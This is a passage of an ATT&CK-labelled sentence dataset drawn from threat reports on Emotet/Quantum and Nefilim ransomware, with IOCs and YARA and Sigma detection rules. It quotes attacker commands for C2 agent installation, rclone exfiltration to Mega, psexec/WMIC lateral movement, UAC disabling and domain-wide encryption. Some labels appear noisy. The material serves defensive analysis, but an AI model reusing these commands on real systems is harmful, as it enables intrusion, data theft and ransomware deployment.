\"/jquery-3.3.2.min.js\" } } Tactical RMM Agent The threat actor dropped a Tactical RMM Agent on one of the servers as an alternative command and control avenue to access the network.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "During the installation of the software, the following command was observed: \"C:\\Program Files\\TacticalAgent\\tacticalrmm.exe\"", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "-m install --api https://api.floppasoftware[.]com --client-id 1 --site-id 1 --agent-type server --auth REDACTED This command reveals the floppasoftware.com domain used by the threat actor for the remote management of Tactical RMM Agent.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This domain was registered very close to the timeline of this incident.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "A domain registered to be used with Tactical RMM Agent will have both an api and mesh subdomain, in this case api.floppasoftware[.]com and mesh.floppasoftware[.]com.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "These were both hosted on the same server IP: 212.73.150.62.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "In addition, during the execution of Tactical RMM Agent, the software will reach out to a centralized domain in order to retrieve the current public IP address in use: icanhazip.tacticalrmm.io AnyDesk On the final day of the intrusion, AnyDesk was deployed on the server they had previously installed Tactical RMM on.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Using this RMM agent they proceeded to install AnyDesk on the host.", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The following process activity was observed from meshagent.exe.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "MeshAgent.exe -kvm1 - Initiating Process File Name, column 6, row 12 \"MeshAgent.exe\" -b64exec cmVxdWlyZSgnd2luLWNvbnNvbGUnKS5oaWRlKCk7cmVxdWlyZSgnd2luLWRpc3BhdGNoZXInKS5jb25uZWN0KCczNzQ3Jyk7 The decoded base 64 content reveals commands for console access and connect actions.", "labels": ["T1140"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This is then followed by the following process flow: Once downloaded and installed, the threat actor initiated a connection to the AnyDesk host.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Client-ID: 752733537 (FPR: 27ac27e2c9ed) Logged in from 84.17.49.114:1249 Exfiltration Also seen in our last report on Emotet, threat actors leveraged Rclone to exfiltrate data to Mega (Mega.nz) storage services. rclone.exe copy \"\\\\SERVER.domain.name\\path\" mega:1 -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6 rclone.exe copy \"\\\\SERVER.domain.name\\path\" mega:2 -q --ignore-existing --auto-confirm --multi-thread-streams 6 --transfers 6 From the rclone.conf file, the threat actors left the details of the remote account being used.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "[email protected] With the help of Netflow, we identified that at least ~250MB worth of data was exfiltrated out of the environment.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Impact Spam Email During the first two days, Emotet sent outbound spam emails over SMTP:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The following is an example of the SMTP traffic for sending the email, along with an extracted EML that was sent with an attached XLS: Ransomware Towards the last day of the intrusion, the threat actor made their preparations to deploy ransomware to the domain.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "They started by connecting to a new server via RDP from the server they just used Tactical RMM to deploy Anydesk.", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Once establishing the RDP connection, they deployed Powertool64.exe, likely to prevent intervention by any security tools and launched the software Don’t Sleep.", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Don’t Sleep has the capability to keep the computer from being shutdown and the user from being signed off.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "This was likely done to ensure nothing will interfere with the propagation of the ransomware payload.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Finally, with Don’t Sleep running, the threat actor executed a batch script named “1.bat“.", "labels": ["T1059.003"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The script invoked the main ransomware payload, locker.dll, and passed a list of all the computers in the domain to the target parameter.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "rundll32.exe locker.dll,run /TARGET=\\\\HOST1.DOMAIN.NAME\\C$", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "/TARGET=\\\\HOST2.DOMAIN.NAME\\C$ /TARGET=\\\\HOST3.DOMAIN.NAME\\C$ /login", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "=DOMAIN\\Administrator /password=[REDACTED]", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "/nolog /shareall", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The executable began to encrypt all the targeted hosts in the environment and dropped a ransom note: README_TO_DECRYPT.html After the invocation of the ransomware payload, about a minute later, the threat actor launched Process Hacker.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "We believe this was to monitor the execution of the ransomware payload.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "All systems in the domain were encrypted and presented with a ransom message.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Indicators Atomic Emotet Deployment Domains descontador[.]com[.]br www.elaboro[.]pl el-energiaki[.]gr drechslerstammtisch[.]de dhnconstrucciones[.]com[.]ar dilsrl[.]com Emotet C2 Servers 103.159.224.46 103.75.201.2 119.193.124.41 128.199.225.17 131.100.24.231 139.59.60.88 144.217.88.125 146.59.226.45 149.56.131.28 159.89.202.34 165.22.211.113 165.227.166.238 178.128.82.218 209.126.98.206 213.32.75.32 37.187.115.122 45.226.53.34 45.55.134.126 46.55.222.11 51.210.176.76 51.254.140.238 54.37.70.105 82.223.82.69 91.207.181.106 92.114.18.20 94.23.45.86 96.125.171.165 Cobalt Strike 139.60.161.167 (survefuz[.]com) 139.60.160.18 (juanjik[.]com) Tactical RMM Agent api.floppasoftware[.]com mesh.floppasoftware[.]com 212.73.150.62 Computed K-1 06.13.2022.lnk de7c4da78a6cbba096e32e5eecb00566 02b4f495e9995cc2251c19cd9984763f52122951 1bf9314ae67ab791932c43e6c64103b1b572a88035447dae781bffd21a1187ad 17jun.exe 0ea68856c4f56f4056502208e97e9033 b80c987c8849bf7905ea8f283b79d98753e3c15a 41e230134deca492704401ddf556ee2198ef6f32b868ec626d9aefbf268ab6b1 dontsleep.exe 50cc3a3bca96d7096c8118e838d9bc16 b286b58ed32b6df4ecdb5df86d7d7d177bb7bfaf f8cff7082a936912baf2124d42ed82403c75c87cb160553a7df862f8d81809ee locker.dll d2df4601c8d43e655163c0b292bc4cc9 f6727d5d04f2728a3353fbd45d7b2cb19e98802c 6424b4983f83f477a5da846a1dc3e2565b7a7d88ae3f084f3d3884c43aec5df6 netscan.exe 27f7186499bc8d10e51d17d3d6697bc5 52332ce16ee0c393b8eea6e71863ad41e3caeafd 18f0898d595ec054d13b02915fb7d3636f65b8e53c0c66b3c7ee3b6fc37d3566 rclone.exe 22bbe1747933531e9c240e0db86268e2 c2a8776e21403eb00b38bfccd36d1c03dffb009e 53ae3567a34097f29011d752f1d3afab8f92beb36a8d6a5df5c1d4b12edc Behavioral The threat actor delivered Emotet via a Emotet loader in the form of a LNK file responsible for dropping Emotet via Powershell (K-1 06.13.2022.lnk).", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Tactical RMM Agent was installed by the threat actor on a server to ensure remote access (17jun.exe).", "labels": ["T1219"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Data was exfiltrated to Mega cloud service via Rclone (rclone.exe).", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Network mapping was performed using SoftPerfect Network Scanner (netscan.exe) followed by Quantum ransomware execution and propagation in the network (locker.dll).", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "The threat actor kept the remote desktop session alive by running a program to keep the session active (dontsleep.exe) Detections Network The DFIR Report Cobalt Strike 139.60.160.18The DFIR Report Cobalt Strike 139.60.161.167 ET Threatview.io High Confidence Cobalt Strike C2 IP group 1 ET POLICY SMB2 NT Create AndX Request For an Executable File ET POLICY SMB Executable File Transfer ET RPC DCERPC SVCCTL - Remote Service Control Manager Access ET INFO Observed External IP Lookup Domain (icanhazip .com", "labels": ["T1021.001"], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "in TLS SNI)t ET JA3 HASH - Possible Rclone Client Response (Mega Storage) ET POLICY HTTP POST", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "to MEGA Userstorage ET POLICY SMB Executable File Transfer ET POLICY SMB2 NT Create AndX Request For a DLL File - Possible Lateral Movement ET POLICY SMB2 NT Create AndX Request For an Executable File ET POLICY SSL/TLS Certificate Observed (AnyDesk Remote Desktop Software) ET SCAN Behavioral Unusual Port 445 traffic Potential Scan or Infection ET USER_AGENTS", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "AnyDesk Remote Desktop Software User-Agent ET CNC Feodo Tracker Reported CnC Server group 1 ET CNC Feodo Tracker Reported CnC Server group 14 ET CNC Feodo Tracker Reported CnC Server group 15 ET CNC Feodo Tracker Reported CnC Server group 17 ET CNC Feodo Tracker Reported CnC Server group 19 ET CNC Feodo Tracker Reported CnC Server group 2 ET CNC Feodo Tracker Reported CnC Server group 20 ET CNC Feodo Tracker Reported CnC Server group 21 ET CNC Feodo Tracker Reported CnC Server group 23 ET CNC Feodo Tracker Reported CnC Server group 24 ET CNC Feodo Tracker Reported CnC Server group 25 ET CNC Feodo Tracker Reported CnC Server group 3 ET CNC Feodo Tracker Reported CnC Server group 4 ET CNC Feodo Tracker Reported CnC Server group 5 ET CNC Feodo Tracker Reported CnC Server group 6 ET CNC Feodo Tracker Reported CnC Server group 7 ET CNC Feodo Tracker Reported CnC Server group 8 ET CNC Feodo Tracker Reported CnC Server group 9ET MALWARE W32/Emotet CnC Beacon 3 Sigma Custom Rules title: Emotet Child Process Spawn Pattern id: 50e8cf53-62df-49aa-bbde-8b3a0a6d8a35 status: Experimental description: Detects Emotet Spawning ipconfig and systeminfo.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "author: TheDFIRReport references: - https://thedfirreport.com/ date: 2022/10/03 logsource: category: process_creation product: windows detection:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "selection_image: CommandLine: - 'ipconfig /all' - 'systeminfo' selection_parent: ParentImage|endswith: - 'regsvr32.exe' selection_parent_cmdline: ParentCommandLine|contains: - '.dll' condition: selection_image and selection_parent and selection_parent_cmdline falsepositives: - Unknown level: high tags: - attack.discovery - attack.t1087 Yara /* YARA Rule Set Author: The DFIR Report Date: 2022-11-28 Identifier:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Quantum Ransomware - Case 15184 Reference:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "https://thedfirreport.com */ /*", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Rule Set -----------------------------------------------------------------", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "*/ rule ___FilesToHash_17jun", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "{ meta: description = \"15184_ - file 17jun.exe\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-11-28\" hash1 = \"41e230134deca492704401ddf556ee2198ef6f32b868ec626d9aefbf268ab6b1\" strings: $x1 = \" to unallocated span37252902984619140625Arabic Standard TimeAzores Standard TimeCertOpenSystemStoreWCreateProcessAsUserWCryptAcq\" ascii $x2 = \"0123456789abcdefghijklmnopqrstuvwxyz444089209850062616169452667236328125ERROR: unable to download agent fromGo pointer stored in\" ascii $x3 = \".lib section in a.out corrupted11368683772161602973937988281255684341886080801486968994140625CLIENT_HANDSHAKE_TRAFFIC_SECRETCent\" ascii $x4 = \"slice bounds out of range [:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "%x] with length %ystopTheWorld: not stopped (status !", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "= _Pgcstop)sysGrow bounds not aligned to palloc\" ascii $x5 = \"VirtualQuery for stack base failedadding nil Certificate to CertPoolbad scalar length: %d, expected %dchacha20: wrong HChaCha20 \" ascii $x6 = \"file descriptor in bad statefindrunnable: netpoll with pforgetting unknown stream idfound pointer to free objectgcBgMarkWorker: \" ascii $x7 = \"tls: certificate used with invalid signature algorithmtls: server resumed a session with a different versionx509: cannot verify \" ascii $x8 = \"non-IPv4 addressnon-IPv6 addressobject is remotepacer: H_m_prev=proxy-connectionreflect mismatchremote I/O errorruntime:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "g: g=\" ascii $x9 = \"lock: lock countslice bounds out of rangesocket type not supportedstartm: p has runnable gsstoplockedm: not runnablestrict-trans\" ascii $x10 = \"unixpacketunknown pcuser-agentws2_32.dll of size (targetpc= ErrCode=%v KiB work, freeindex= gcwaiting= idleprocs= in status \" ascii $x11 = \"100-continue152587890625762939453125Bidi_ControlCIDR addressCONTINUATIONContent TypeContent-TypeCookie.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "ValueECDSA-SHA256ECDSA-SH\" ascii $x12 = \"entersyscallexit status gcBitsArenasgcpacertracegetaddrinfowhost is downhttp2debug=1http2debug=2illegal seekinvalid baseinvalid \" ascii $x13 = \"streamSafe was not resetstructure needs cleaningtext/html; charset=utf-8unexpected buffer len=%vx509: malformed validityzlib: in\" ascii $x14 = \"IP addressInstaller:Keep-AliveKharoshthiLockFileExManichaeanMessage-IdNo ContentOld_ItalicOld_PermicOld_TurkicOther_MathPOSTALCO\" ascii $x15 = \" to non-Go memory , locked to thread298023223876953125: day out of rangeArab Standard TimeCaucasian_AlbanianCommandLineToArgvWCr\" ascii $x16 = \"= flushGen for type gfreecnt= pages at runqsize= runqueue= s.base()= spinning= stopwait= stream=%d sweepgen sweepgen= target\" ascii $x17 = \"(unknown), newval=, oldval=, plugin:, size = , tail = --site-id244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDi\" ascii $x18 = \" is unavailable()<>@,;:\\\\\\\"/[]?=,M3.2.0,M11.1.00601021504Z0700476837158203125: cannot parse ASCII_Hex_DigitAccept\" ascii $x19 = \"span set block with unpopped elements found in resettls: received a session ticket with invalid lifetimetls: server selected uns\" ascii $x20 = \"bad defer entry in panicbad defer size class:", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "i=bypassed recovery failedcan't scan our own stackcertificate unobtainablechacha20\" ascii condition: uint16(0) == 0x5a4d and filesize < 14000KB and 1 of ($x*) } rule dontsleep { meta: description = \"15184_ - file dontsleep.exe\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-11-28\" hash1 = \"f8cff7082a936912baf2124d42ed82403c75c87cb160553a7df862f8d81809ee\" strings: $s1 = \"shell32.dll,Control_RunDLL\" fullword ascii $s2 = \"powrprof.", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "DLL\" fullword wide $s3 = \"CREATEPROCESS_MANIFEST_RESOURCE_ID RT_MANIFEST \\\"res\\\\\\\\APP.exe.manifest\\\"\" fullword ascii $s4 = \"msinfo32.exe\" fullword ascii $s5 = \"user32.dll,LockWorkStation\" fullword wide $s6 = \"DontSleep.exe\" fullword wide $s7 = \"UMServer.log\" fullword ascii $s8 = \"_Autoupdate.exe\" fullword ascii $s9 = \"BlockbyExecutionState: %d", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "on:%d by_enable:%d\" fullword wide $s10 = \"powrprof.dll,SetSuspendState\" fullword wide $s11 = \"%UserProfile%\" fullword wide $s12 = \" 2010-2019", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Nenad Hrg SoftwareOK.com\" fullword wide $s13 = \"https://sectigo.com/CPS0C\" fullword ascii $s14 = \"https://sectigo.com/CPS0D\" fullword ascii $s15 = \"?http://crl.usertrust.com/USERTrustRSACertificationAuthority.crl0v\" fullword ascii $s16 = \"Unable to get response from Accept Thread withing specified Timeout ->\" fullword ascii $s17 = \"3http://crt.usertrust.com/USERTrustRSAAddTrustCA.crt0%\" fullword ascii $s18 = \"Unable to get response from Helper Thread within specified Timeout ->\" fullword ascii $s19 = \" \" fullword ascii $s20 = \"_selfdestruct.bat\" fullword wide condition: uint16(0) == 0x5a4d and filesize < 700KB and 8 of them } rule ___", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "FilesToHash_locker { meta: description = \"15184_ - file locker.dll\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-11-28\" hash1 = \"6424b4983f83f477a5da846a1dc3e2565b7a7d88ae3f084f3d3884c43aec5df6\" strings: $s1 = \"plugin.dll\" fullword ascii $s2 = \"oL$0fE\" fullword ascii /*", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Goodware String - occured 1 times */ $s3 = \"H9CPtgL9{@tafD9{8tZD\" fullword ascii $s4 = \"expand 32-byte k\" fullword ascii /*", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Goodware String - occured 1 times */ $s5 = \"[email protected]\" fullword ascii /*", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Goodware String - occured 3 times */ $s6 = \"oF D3f0D3n4D3v8D3~EmA\" fullword ascii $s9 = \"ol$0fE\" fullword ascii $s10 = \"S{L1I{\" fullword ascii $s11 = \"V32D!RT\" fullword ascii $s12 = \" A_A^_\" fullword ascii $s13 = \"v`L4~`g\" fullword ascii $s14 = \"9\\\\$8vsH\" fullword ascii $s15 = \"K:_Rich\" fullword ascii $s16 = \" A_A^A\\\\_^\" fullword ascii $s17 = \"tsf90u\" fullword ascii $s18 = \"9|$0vQ\" fullword ascii $s19 = \"K:_=:?^\" fullword ascii $s20 = \":9o 49\" fullword ascii condition: uint16(0) == 0x5a4d and filesize < 200KB and 8 of them } rule K_1_06_13_2022_lnk { meta: description = \"15184_ - file K-1", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "06.13.2022.lnk.lnk\" author = \"The DFIR Report\" reference = \"https://thedfirreport.com\" date = \"2022-11-28\" hash1 = \"1bf9314ae67ab791932c43e6c64103b1b572a88035447dae781bffd21a1187ad\" strings: $x1 = \"C:\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" fullword ascii $s2 = \"%SystemRoot%\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" fullword wide $s3 = \"<..\\\\..\\\\Windows\\\\System32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\" fullword wide $s4 = \"-c \\\"&{'p8ArwZsj8ZO+Zy/dHPeI+siGhbaxtEhzwmd3zVObm9uG2CGKqz5m4AdzKWWzPmKrjJieG4O9';$BxQ='uYnIvc3RhdHMvUkppMnJRSTRRWHJXQ2ZnZG1pLyI\" wide $s5 = \"WindowsPowerShell\" fullword wide $s6 = \"black-dog\" fullword ascii $s7 = \"powershell.exe\" fullword wide /*", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Goodware String - occured 3 times */ $s8 = \"S-1-5-21-1499925678-132529631-3571256938-1001\" fullword wide condition: uint16(0) == 0x004c and filesize < 10KB and 1 of ($x*) and all of the MITRE PowerShell – T1059.001 Process Injection – T1055 File Deletion – T1070.004 Lateral Tool Transfer – T1570 Valid Accounts – T1078 Service Execution – T1569.002 SMB/Windows Admin Shares – T1021.002 Remote System Discovery – T1018 Process Discovery – T1057 Rundll32 – T1218.011 Regsvr32 – T1218.010 Domain Account – T1087.002 Domain Groups – T1069.002 System Information Discovery – T1082 Data Encrypted for Impact – T1486 Network Share Discovery – T1135 Data from Network Shared Drive – T1039 Web Protocols – T1071.001 Remote Access Software – T1219 Exfiltration to Cloud Storage – T1567.002", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Remote Desktop Protocol – T1021.001 Malicious File – T1204.002 Spearphishing Attachment – T1566.001 Exploitation of Remote Services – T1210 Internal case #15184", "labels": [], "doc_title": "Emotet Strikes Again LNK File Leads to Domain Wide Ransomware The DFIR Report"} {"sentence": "Over the past year there has been a rise in extortion malware that focuses on stealing sensitive data and threatening to publish the data unless a ransom is paid.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "This technique bypasses some of the mitigations put in place, such as backups, which would allow IT organizations to recover data without having to pay such a ransom.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "One of the more popular ransomware families over the last few months to switch to this extortion tactic was Nefilim.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "About Nefilim Ransomware Nefilim ransomware emerged in March 2020 when Nemty operators quit the ransomware as a service model to concentrate their energy on more targeted attacks with more focused resources.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "The author of the Nemty ransomware also appears to have shared Nemty’s source code with others.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "According to Vitali Kremez and ID Ransomware’s Michael Gillespie, the new Nefilim ransomware appears to be based on Nemty’s code.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Sharing many notable similarities with Nemty version 2.5, Nefilim has the capabilities to move laterally within networks.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Nefilim targets vulnerabilities such as CVE-2019-11634 and CVE-2019-19781 in Citrix gateway devices, identified in December 2019 and patched in January 2020.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "The hackers target organizations using the unpatched or poorly secured Citrix remote-access technology, stealing data and then deploying ransomware.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Nefilim attackers exfiltrate sensitive data before encryption.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "When ransoms are not paid, they have been known to shame victims by posting their data on the dark web. Technical Details Initial access Nefilim ransomware is distributed through exposed Remote Desktop Protocol (RDP) setups by brute-forcing them and using other known vulnerabilities for initial access, i.e. vulnerabilities in Citrix gateway devices.", "labels": ["T1021.001", "T1110", "T1190"], "doc_title": "Nefilim Ransomware"} {"sentence": "Nefilim places a heavy emphasis on Remote Desktop Protocols.", "labels": ["T1021.001"], "doc_title": "Nefilim Ransomware"} {"sentence": "Once an attacker gains a foothold on the victim system, the attacker drops and executes its components such as anti-antivirus, exfiltration tools, and finally Nefilim itself.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Lateral Movement Among the various tactics and techniques used by the attackers, they rely on tools such as PsExec to remotely execute commands in their victims’ networks.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "It has been also seen that Nefilim uses other tools to gather credentials that include Mimikatz, LaZagne, and NirSoft’s NetPass.", "labels": ["T1003.001"], "doc_title": "Nefilim Ransomware"} {"sentence": "It uses bat files to stop services/kill processes as shown in below image, and the stolen credentials are used to reach high-value machines like servers.", "labels": ["T1059.003", "T1078"], "doc_title": "Nefilim Ransomware"} {"sentence": "The hackers work to move around the network before deploying their ransomware to find out where juicier data may be stored.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "They exfiltrate sensitive data before encryption.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Some of the commands that execute by the attacker Start copy kill.bat \\destinationip\\c$\\windows\\temp Start psexec.exe \\destinationip -u domain\\username\\ -p password -d", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "-h -r mstdc -s -accepteula -nobanner c:\\windows\\teamp\\Kill.bat Start psexec.exe -accepteula \\destinationip -u domain\\username\\ -p password reg add HKLM\\software\\Microsoft\\Windows\\CurrentVersion\\Policies\\System /v", "labels": ["T1112"], "doc_title": "Nefilim Ransomware"} {"sentence": "EnableLUA /t REG_DWORD /d", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "0 /F WMIC /node: \\destinationip /username:”domain\\username” /password:”password” process CALL CREATE “cmd.exe /c", "labels": ["T1047"], "doc_title": "Nefilim Ransomware"} {"sentence": "copy \\sourceip\\c$\\windows\\temp C:\\WINDOWS\\TEMP\\kill.bat\" WMIC /node: \\destinationip /username:”domain\\username”", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "/password:”password” process CALL CREATE “cmd.exe /c C:\\WINDOWS\\TEMP\\kill.bat\" Below images shows A batch file to stop services/kill processes Fig.", "labels": ["T1059.003"], "doc_title": "Nefilim Ransomware"} {"sentence": "1 Stopping Services Fig.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "2 Killing Process Data exfiltration It copies data from servers/shared directories to the local directory and compresses with dropped 7zip binary.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "It also drops and installs MegaSync to exfiltrate data.", "labels": ["T1105"], "doc_title": "Nefilim Ransomware"} {"sentence": "Ransomware Execution The Nefilim malware uses AES-128 encryption to lock files and their blackmail payments are made via email.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "After encryption, it dropped the ransomware note by named ‘NEFILIM-DECRYPT.txt’.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "All files are encrypted with the extension of (.NEFILIM).", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "It appends AES encrypted key at end of the encrypted file.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "This AES encryption key will then be encrypted by an RSA-2048 public key that is embedded in the ransomware executable.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "In addition to the encrypted AES key, the ransomware will also add the “NEFILIM” string as a file marker to all encrypted files. Fig.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "3 Crypto API’s in Nefilim IOC In the Below image malware create Mutex Fig.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "4 Creating Mutex Some of the Anti-debugging techniques: Ransomware uses anti-debugging method by calling the IsDebuggerPresent function.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "This function detects if the calling process is being debugged by a user-mode debugger.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "It also makes use of API GetTickCount / QueryPerformanceCounter to get the number of ticks since the last system reboot.", "labels": ["T1106"], "doc_title": "Nefilim Ransomware"} {"sentence": "It checks for a timestamp and compare it to another one after a few malicious instructions, in order to check if there was a delay.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "Fig.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "5", "labels": ["T1112"], "doc_title": "Nefilim Ransomware"} {"sentence": "Anti debugging API Fig.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "6 Anti debugging API Shell execute: Nefilim delete itself from the target systems after infection with the help of ShellExecute API \"C:\\Windows\\System32\\cmd.exe\" /c", "labels": ["T1027", "T1106"], "doc_title": "Nefilim Ransomware"} {"sentence": "timeout /t", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "3 /nobreak && del \"C:\\Users\\admin\\Download{ransomware_filename}.exe\" /s /f /q Fig. 7 Self Deletion High-Profile Attacks Taking a Toll Nefilim’s highest-profile ransomware attack to date was against the Australian shipping organization, Toll Group.", "labels": [], "doc_title": "Nefilim Ransomware"} {"sentence": "The attack was first published on May 